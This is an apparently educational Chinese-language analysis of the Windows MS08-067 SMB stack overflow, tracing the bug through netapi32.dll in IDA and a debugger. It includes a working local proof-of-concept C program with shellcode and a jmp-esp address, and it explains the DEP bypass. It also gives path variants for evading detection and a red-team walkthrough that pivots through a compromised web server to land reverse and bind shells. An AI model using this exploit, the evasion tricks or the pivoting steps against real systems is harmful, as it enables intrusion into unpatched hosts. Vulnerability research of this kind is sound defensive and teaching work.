目录
(一)漏洞介绍1. 漏洞简述
漏洞名称:MS08-067
漏洞编号:CVE-2008-4250
漏洞类型:栈溢出
漏洞影响:远程代码执行
CVSS评分:9.8
利用难度:Medium
利用方式:远程
2. 组件概述
SMB是一种协议名,smb服务的作用在于计算机间共享文件、打印机和串口等。
Server Message Block Protocol,服务器信息块协议(SMB),为网络计算机客户程序提供一种从服务程序读写文件并请求服务的方法。SMB协议可在互联网的TCP/IP协议或者互联网数据包交换和NetBEUI等协议之上使用。使用SMB协议,应用程序可访问远程服务器的文件以及打印机、信槽和命名管道等资源。因而,客户程序可以读、写以及更新远程计算机上的文件,它也可以跟接收SMB客户请求的任意服务程序通信。
SMBv2是SMB协议的第二版本,相较SMBv1做了诸多扩展,部分数据包结构发生了变化,但仍保留了SMBv1的部分基本特征。
3. 漏洞利用
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。而NetpwPathCanonicalize
函数在远程访问其他主机时,会调用CanonicalizePathName
函数,对远程访问的路径进行规范化(将路径字符串中的'/'转换为'\',同时去除相对路径".\"和"..\"),而在CanonicalizePathName
函数中调用的RemoveLegacyFolder
发生了栈缓冲区溢出,可以造成RCE。
利用该漏洞可以达到远程代码执行的效果,通过使用不同的shellcode,可以实现任意功能,但是shellcode空间大小有限制。
4. 漏洞影响
根据Metasploit 中的Exp确定实际可以被攻击的操作系统版本。
Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3
(二)漏洞分析 复现环境操作系统版本:
Microsoft Windows 10 专业版 10.0.18363
Kali Linux 5.10.0 2021.2
Windows XP SP3 Chinese - Simplified (NX)
软件版本:
Metasploit Framework: 6.1.10-dev
IDA Pro 7.5
Ollydbg 1.0
Microsoft Visual Studio Community 2019 版本 16.8.4
漏洞成因漏洞产生于netapi32.dll
,问题发生在其导出函数NetpwPathCanonicalize
所调用的子函数CanonicalizePathName
中的RemoveLegacyFolder
函数中,原因为其在向上遍历\
字符时栈首地址空间的边界检查无效,从而导致遍历完成,进行目录字符拷贝时,可以经过构造产生栈溢出,覆盖到返回地址中。
移除经典路径:
RemoveLegacyFolder
函数的作用就是将路径中的经典路径去除。
函数实现思路:
移去经典路径.\
从路径开头向右遍历依次去除.\
即可。
移去经典路径..\
。
对于经典目录..\
。
如果p1为当前的指针,p2和p1总是相差3个字符的位置,因为p2到p3中间的路径长度FOLDER2是不固定的,所以无法直接获取到p3的位置,对于获取到p3的位置,主要有以下两种思路。
思路1:使用变量记录每一个\
的位置,当定位到..\
经典目录时,直接获取到p3的位置,进行复制。
思路2:从p2左侧开始依次向前开始遍历,寻找首次出现的\
的位置即p3,进行复制。
RemoveLegacyFolder
就是采用思路2来移除经典路径..\
的,向前搜索的过程存在风险,并且对其边界检查无效,从而导致了缓冲区溢出的产生。
静态分析函数调用链 NetpwPathCanonicalize->CanonicalizePathName->RemoveLegacyFolder
NetpwPathCanonicalize函数作用: NetpwPathCanonicalize用于格式化网络路径字符串。
如果prefix串非空,将prefix串与path串用\
相连,并复制输出到串can_path
中,输出串的容量为maxbuf字节大小。
1
prefix
+
'\'
+
path
=
> can_path [max_buf]
函数原型
1
2
3
4
5
6
7
8
Int
NetpwPathCanonicalize(
Uint16 path[ ],
/
/
[
in
] path name
Uint8 can_path[ ],
/
/
[out] canonicalized path
Uint32 maxbuf,
/
/
[
in
]
max
size of can_path
Uint16 prefix[ ],
/
/
[
in
] path prefix
Uint32
*
pathtype,
/
/
[
int
out] path
type
Uint32 pathflags
/
/
[
in
] path flags,
0
or
1
);
用ida Pro加载netapi32.dll,定位到NetpwPathCanonicalize
函数中,定位到调用CanonicalizePathName
函数的位置。
CanonicalizePathName函数执行流程: 在CanonicalizePathName
函数中,对传入的prefix
参数进行长度判断其不超过0x208,判断prefixSize + pathSize
的长度不超过0x207,检查通过后拼接prefix
和path
到wchPathBuffer
路径缓冲区中,将路径缓冲区中的路径字符串中的/
替换成\
,检查Dos路径类型,将wchPathBuffer
字符缓冲区传入RemoveLegacyFolder
函数中用来移除经典路径。
在函数开始的位置检查pwchPrefix
指向的地址是否为空。
判断pwchPrefix
索引为0的字符的值不为0,字符串的长度长度不大于0x208,符合判断条件后,将pwchPrefix
前缀字符串拷贝到wchStrBuffer
缓冲区中,判断pwchCanPath
缓冲区的pwchPrefixSize+1
下标的位置是否为\
或/
者,如果不是则在wchPathBuffer
中拼接\\
。
判断参数pwszPath
的开头部分是否是\
或者/
符号,如果是的话,对其指针+1。
获取pwchPath的长度,检查,pwchPrefixSize <=pwchPathSize + pwchPrefixSize <= 0x207
是否比Path
本身的长度小,是否大于0x207。
从这里可以看到,构造shellcode时,有长度限制,即不能超过0x207 * 2 => 1038个字节(这里使用的wcslen,unicode占用两个字节的数据,所以×2)
检查通过,将pwchPath
拷贝到wchPathBuffer
缓冲区中,接下来替换路径缓冲区中的/
字符为\
字符,检查DOS路径类型,将处理完后的缓冲区的地址,送入RemoveLegacyFolder
中进行去除经典路径。
RemoveLegacyFolder函数执行流程: RemoveLegacyFolder函数首先判断首字符是否是\
然后向后遍历寻找\..\
,寻找到后经过判断将经典路径中后一个\
的位置后的路径字符串,拷贝到经典路径中第一个\
的位置,然后向前遍历\
定位到上级目录,接着向后遍历寻找\..\
,接着进行第二次移除经典路径的操作。
第一次移除经典路径跟进RemoveLegacyFolder
函数中,函数开头判断传入的路径缓冲区索引为0的字符是否为\
或者/
。
判断路径缓冲区索引为1的字符是否是\
或者/
。
接着更新p1指针的值为字符缓冲区的首地址,向后遍历,判断p1指向的字符否为.
当p1指向的字符为\
时,更新指针p3为p2的值,更新变量temp为p1的值,执行完成后跳回到循环中。
当p1指向的字符为.
时,判断其是否为经典路径\..\
,符合条件后,从p1+4的位置开始的路径(为经典路径后的位置),拷贝到p3指向的位置(p3指向字符\
),此处操作的作用为移除经典路径\..\
极其上级目录。
第二次移除经典路径接着向下执行。
更新指针:更新temp变量为p3的值,更新指针p1为p3的值,更新eax为p3-2的值。
向前遍历\
边界检查: 判断eax指向的地址是否等于字符缓冲区的起始地址。
在第一次执行到时,eax就已经超过了缓冲区的头部,向上越界越界了,此处再进行jz相等条件的比较是无效的,应该将其中的jz
跳转改为jbe
小于等于。
无效的边界检查和使用不安全的wcscpy函数,是导致溢出的直接原因。
在向前获取到\
的地址后,p3指针指向该地址。
向下执行,跳转到向后遍历寻找p1指向的.
的部分,紧接着判断经典路径,进行拷贝操作。
当p1指向.
时跳出循环,判断路径是否是/../
,判断p3指向的地址是否为空地址,判断无误后开始进行拷贝,由于此时p3指向的地址,已经远远超过缓冲区的地址,所以此时使用wcscpy
函数进行拷贝会产生溢出,经过精心构造,覆盖返回地址,从而控制eip。
分析到这里可以发现,第二次移除经典路径,向上遍历到的\
的位置至关重要。
接下来开始分析《0day安全》书里的poc和Metasploit的exp是如何产生\
,如何构造攻击包从而覆盖返回地址,过掉系统保护,从而执行shellcode的。
动态调试 本地溢出调试 环境配置本地溢出使用的poc为《0day安全》26.4.5章节中的ms08-067_failwest.c
的基础上进行修改。
修改了偏移量和jmp esp
的地址。
使用Visual Studio 2019 Debug
版本编译后,偏移量发生了变化(112 => 109),我们用来调试的目标操作系统与书中也发生了变化,所以要进行更新。
编译选项:
属性页->Debug->配置属性->
常规->平台工具集:Visual Studio 2017 - Windows XP(v141_xp)
C/C++->代码生成->运行库->多线程调试(/Mtd)
链接器->高级->随机基址:否(方便调试,也可以不关闭)
关闭系统DEP
系统属性->高级->性能->设置->性能选项->数据执行保护。
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/
/
ms08
-
067_localoverflow
.cpp : 此文件包含
"main"
函数。程序执行将在此处开始并结束。
/
/
typedef
int
(__stdcall
*
MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
/
/
address of jmp esp
/
/
xp sp3 chinese
/
/
shellcode
"\x90\x90\x90\x90"
\
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
\
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
\
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
\
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
\
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
\
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
\
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int
main(
int
argc, char
*
argv[])
{
WCHAR path[
256
]
=
{
0
};
WCHAR can_path[
256
]
=
{
0
};
DWORD
type
=
1000
;
int
retval;
HMODULE handle
=
LoadLibrary(L
".\\netapi32.dll"
);
MYPROC Trigger
=
NULL;
if
(NULL
=
=
handle)
{
wprintf(L
"Fail to load library!\n"
);
return
-
1
;
}
Trigger
=
(MYPROC)GetProcAddress(handle,
"NetpwPathCanonicalize"
);
if
(NULL
=
=
Trigger)
{
FreeLibrary(handle);
wprintf(L
"Fail to get api address!\n"
);
return
-
1
;
}
path[
0
]
=
0
;
/
/
112
=
>
109
wcscpy(path, L
"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
);
wcscat(path, (const wchar_t
*
)JMP_ESP);
wcscat(path, (const wchar_t
*
)SHELL_CODE);
type
=
1000
;
wprintf(L
"BEFORE: %s\n"
, path);
retval
=
(Trigger)(path, can_path,
1000
, NULL, &
type
,
1
);
wprintf(L
"AFTER : %s\n"
, can_path);
wprintf(L
"RETVAL: %s(0x%X)\n\n"
, retval ? L
"FAIL"
: L
"SUCCESS"
, retval);
FreeLibrary(handle);
return
0
;
}
编译后执行,可以看到成功执行了弹窗。
动态分析溢出流程接下来使用ollydbg进行动态调试,定位到溢出点。
定位到main函数中调用NetpwPathCanonicalize
函数调用的位置,分析参数可以看到攻击流量由path
参数传入,prefix参数为空。
跟进NetpwPathCanonicalize中定位到CanonicalizePathName调用位置。
在CanonicalizePathName函数中,当传入的prefix
参数为空时,不执行对prefix
参数的长度判断,直接判断Path
参数的长度是否符合要求 pwchPrefixSize <=pwchPathSize + pwchPrefixSize <= 0x207
判断完后拼接到路径缓冲区中。
然后进行替换/
为\
,检查DOS路径,移除经典路径的操作。
跟进移除经典路径函数0x5FDDA220
中,判断首字符为\
进行跳转。
判断第二个字符是否是\
或者/
,不相等则进行跳转。
接着向后查找经典路径,判断是否为经典路径\..\
,符合条件进行copy,此时第一次copy时src在范围内,不会产生溢出。
向后执行,向前遍历上一个\
的位置,此处的越界检查是无效的是导致溢出的直接原因
这里直接F4跳出循环,此时eax指向了0x12F332,也就是\netapi32.dll
字符串,该字符串由Loadlibrary函数执行后产生(使用Visual Studio 2019 Debug编译的程序,在windows xp sp3系统中执行)。
向上遍历到后,更新到p3指针中,继续跳转到向后遍历寻找字符.
,判断是否是经典路径/../
。
判断完成后,进行copy,可以看到此时p3指向的目标地址0x12332
,已经超出了当前的栈顶0x12F3FC
,所以在copy以后会覆盖栈顶及返回地址,测量与返回地址的偏移,去构造就可以控制eip。
进入函数wcscpy中,可以测算拷贝的目标地址与返回地址之间的偏移为0x12F3F8 - 0x12F332 = 0xC6 = 198
,因为是unicode字符串,所以要把填充的字符数量根据偏移除以2,为99,所以最终需要填充的字符数量为99个。
继续执行,在本地测试中关掉了系统DEP保护,所以这里直接用了jmp esp
跳板的地址来跳转到栈上执行shellcode。
内存布局分析poc使用的攻击数据布局如下。
\
字符产生的原因在数据窗口定位到前面匹配到的\
在内存中的位置0x12F332
。
执行过Loadlibrary后,其位置写入了/netapi32.dll
字符串。
远程溢出调试 环境配置查看netsvcs服务(提供SMB服务的svchost进程)进程ID。
1
wmic process where caption
=
"svchost.exe"
get caption,handle,commandline
用OD附加该进程,在netapi32.dll
中的NetpwPathCanonicalize
上下断点,右键查看所有模块中的名称。
跟进函数在头部下断点,按F9键运行。
在Metasploit中使用ms08-067漏洞进行攻击。
靶机在接收到远程RPC调用NetpwPathCanonicalize
的攻击流量后,会在设置的断点处断下,接下来就可以进行动态调试了。
在此处建立虚拟机快照,方便后续调试!
动态分析溢出流程对传入的参数进行分析,查看其与本地溢出有什么不同。
同样是在path
参数中传递攻击数据,不过其设置了prefix
为\
,设置can_path
缓冲区的大小为674。
动态执行的流程和前面几乎是一样的,之前已经分析过了,在这里我们主要关注以下三点。
如何产生\
字符的。
溢出后突破DEP到执行到shellcode的流程。
攻击数据布局。
\
字符产生的原因定位到第二次执行的位置wcscpy
在内存中窗口定位到\
的位置,恢复快照(因为有ASLR,栈地址下次攻击流量再打过来就变了),对0x1B4F444
的\
的位置下内存写入断点,在此处断下,此时并不能看到是哪条指令对其写入了\
。
再次恢复快照,按F4执行到0x7C933C90
处,逐行执行,发现是在7C933C9F E8 F1D5FEFF call ntdll.RtlInitUnicodeString
处写入了数据。
再次恢复快照跟进函数中,重复流程,最终在函数内定位到写入\
的位置。
进行栈回溯分析,查看是什么原因导致了该处指令,向0x1B4F444写入0x5C字符。
0x5C字符产生的原因
经过分析,发现写入的0x5C是其传入的unicode字符串的长度 * 2 + 2的值。
接着向上进行栈回溯分析,查看调用点在哪里,用于计算长度产生\
的字符串是属于Path
参数中的,所以几乎可以断定,这里的\
是通过构造攻击包而产生的,一定在NetpwPathCanonicalize
的调用范围内。
第一层
第二层
第三层,可以看到来到了CanonicalizePathName
函数中的位置,产生\
的原因在CheckDosPathType
这个API之中。
搞清楚了调用关系,现在可以用ida来正向分析流程,来判断攻击包里是什么触发导致了其写入\
的原因了。
跟进CheckDosPathType
函数中,跟踪参数eax的值。
跟进ntdll.RtlIsDosDeviceName_U@4
函数中,发现函数内部也没有进行其他处理,跟进该函数内调用的_RtlIsDosDeviceName_Ustr
函数中。
在RtlIsDosDeviceName_Ustr
函数中,
发现其从后向前遍历路径字符串,寻找倒数第一个\
,/
,:
字符。
然后判断其后面的第一个字符是否是l
,c
,p
,a
的任意一个(这里会将大写转换为小写),符合条件才会调用RtlInitUnicodeString
函数,其unicode字符串的长度 * 2 符合0x5E才能写入\
。
因为函数的栈是向上生长的,写入\
处的调用链为CanonicalizePathName->CheckDosPathType->ntdll.RtlIsDosDeviceName_U@4->ntdll._RtlIsDosDeviceName_Ustr->RtlIsDosDeviceName_Ustr->ntdll.RtlInitUnicodeString
。
而溢出函数wscpy的调用链为CanonicalizePathName->RemoveLegacyFolder->wcscpy
,所以wcscpy的返回地址在栈中的位置,必定在写入\
位置的下面,所以就会导致了可以测算偏移,来构造填充可以精确的覆盖到返回地址。
突破DEP这里主要分析溢出后执行的路径,观察其是如何关掉DEP保护的。
在wscpy执行后,覆盖到返回地址的值为0x58FC17C2
,执行跟进,发现其是利用NtSetInformationProcess
来关闭DEP保护的,而eax指向的地址存储着20408的值,该地址在所有版本的操作系统中都是一段可读写的空间。NtSetInformationProcess
执行时需要传入这类的空间。
执行到返回后,跳转到0x58F807
这里是内平栈,所以其后紧跟的4个字节为填充,跳转到了call esi的位置。
esi即p1指针一直为\
后的位置,跳转过去后发现这里填充了一个jmp 指令,跳转到了shellcode,到这里执行流程完成。
内存布局分析根据上述的调试过程来分析其攻击数据的内存布局。
参考文章https://github.com/jionyeahgithub/Arbang/tree/master/%E7%BB%8F%E5%85%B8%E9%87%8D%E7%8E%B0ms08-067%E6%BC%8F%E6%B4%9E%E8%AF%A6%E5%B0%BD%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8%E8%BF%9B%E9%98%B6
(三)思路拓展:绕过防火墙 思路一:利用与漏洞产生原理变换绕过检测特征MS08-067的漏洞触发的条件之一是RPC的参数Path中存在路径穿越 /../../
;此特征较明显,因此防御人员很可能通过此特征进行拦截。
根据其在CanonicalizePathName
函数中,会在调用RemoveLegacyFolder
,自动将/
替换为\
的功能点,可以将其变换成如下形式,来绕过拦截。
\../..\
/../..\
/..\..\
...
思路二:流量请求测绕过
利用SMB_COM_WRITE_ANX分割PRC流量检测特征(可以分段一个字节一个字节的发送RPC的数据)
利用SMB_COM_TRANSACTION命令绕过检测
参考系列文章:https://mp.weixin.qq.com/s/5jy2MWjDb3nuERNgDV_8Hw
还可以通过调整布局的方式,来获取更大的shellcode空间。
(四)应用场景:针对内网目标对于二进制漏洞的研究来说,不仅要知其原理,也要知道其使用场景,才能够更好的做武器化的开发。
在红队攻击中,对于二进制RCE漏洞,很少在公网暴漏的目标能够成功,一般会用来攻击内网主机,把对方内网的机器,通过流量代理,代理到公网的机器上。
拓扑
场景描述在图中192.168.26.134 是我们的攻击机。
IP为192.168.26.128 是目标暴漏在公网上的Web服务器,其内网地址为172.20.1.112 。
内网IP为192.168.52.143 的内网数据库服务器,是我们想要进行攻击的目标。
我们已经获取了Web服务器192.168.26.128 的权限,继续向内网中渗透。
但是攻击者的PC无法直接访问内网的数据库服务器172.20.1.123 ,web服务器可以直接访问数据库服务器,数据库服务器为英文版本的Windows 2003Server SP2系统,其445端口的SMB服务存在MS08-067漏洞。
攻击流程 思路分析我们可以以Web服务器为跳板,将内网数据库服务器的445端口映射到Web服务器的1234端口,使用Metasploit对映射到的Web服务器1234端口发送MS08-067的攻击流量进行攻击。
其攻击流量会由Web服务器的1234端口,转发到内网数据库服务器的445端口中去。
攻击成功后,在Web服务器将内网数据库服务器反弹shell的流量转发到攻击机上。
具体实施这里我们使用lcx来进行流量转发,需要在我们已经拿下权限的Web服务器中上传lcx.exe
smb服务转发将内网数据库服务器的445端口映射到Web服务器上的1234端口,即监听端口1234,将所有发往192.168.26.128:1234 的流量,转发到172.20.1.123:445
正反向shell转发 single: payload/windows/shell_bind_tcp设置msf的payload为windows/shell_bind_tcp,其监听端口为4444。
在Web服务器上,将内网数据库服务器的4444端口,映射到Web服务器的4444端口。
攻击成功后,将在内网数据库服务器上建立4444端口的监听,等待连接。
single: payload/windows/shell_reverse_tcp设置msf的payload为windows/shell_reverse_tcp,其回连端口为4444,回连的ip为172.20.1.122。
在攻击机上用nc进行监听本地的4567端口,设置转发,将攻击机4567端口传输的数据,转发到Web服务器上。
在Web服务器上设置转发,将来自4444端口的数据,转发到本机的4444端口。
进行攻击。
反向shell连接成功。
参考文章https://www.cnblogs.com/wuxinmengyi/p/11598876.html
https://mp.weixin.qq.com/s/Tpapq3YQy2WaQTUT5LyMhQ
非常经典的漏洞,适合windows漏洞分析入门练习,这也是我第分析的一个Windows二进制漏洞,文中难免出现错误,希望各位前辈能够不吝赐教,多多指导。
[培训]科锐逆向工程师培训 48期预科班将于 2023年10月13日 正式开班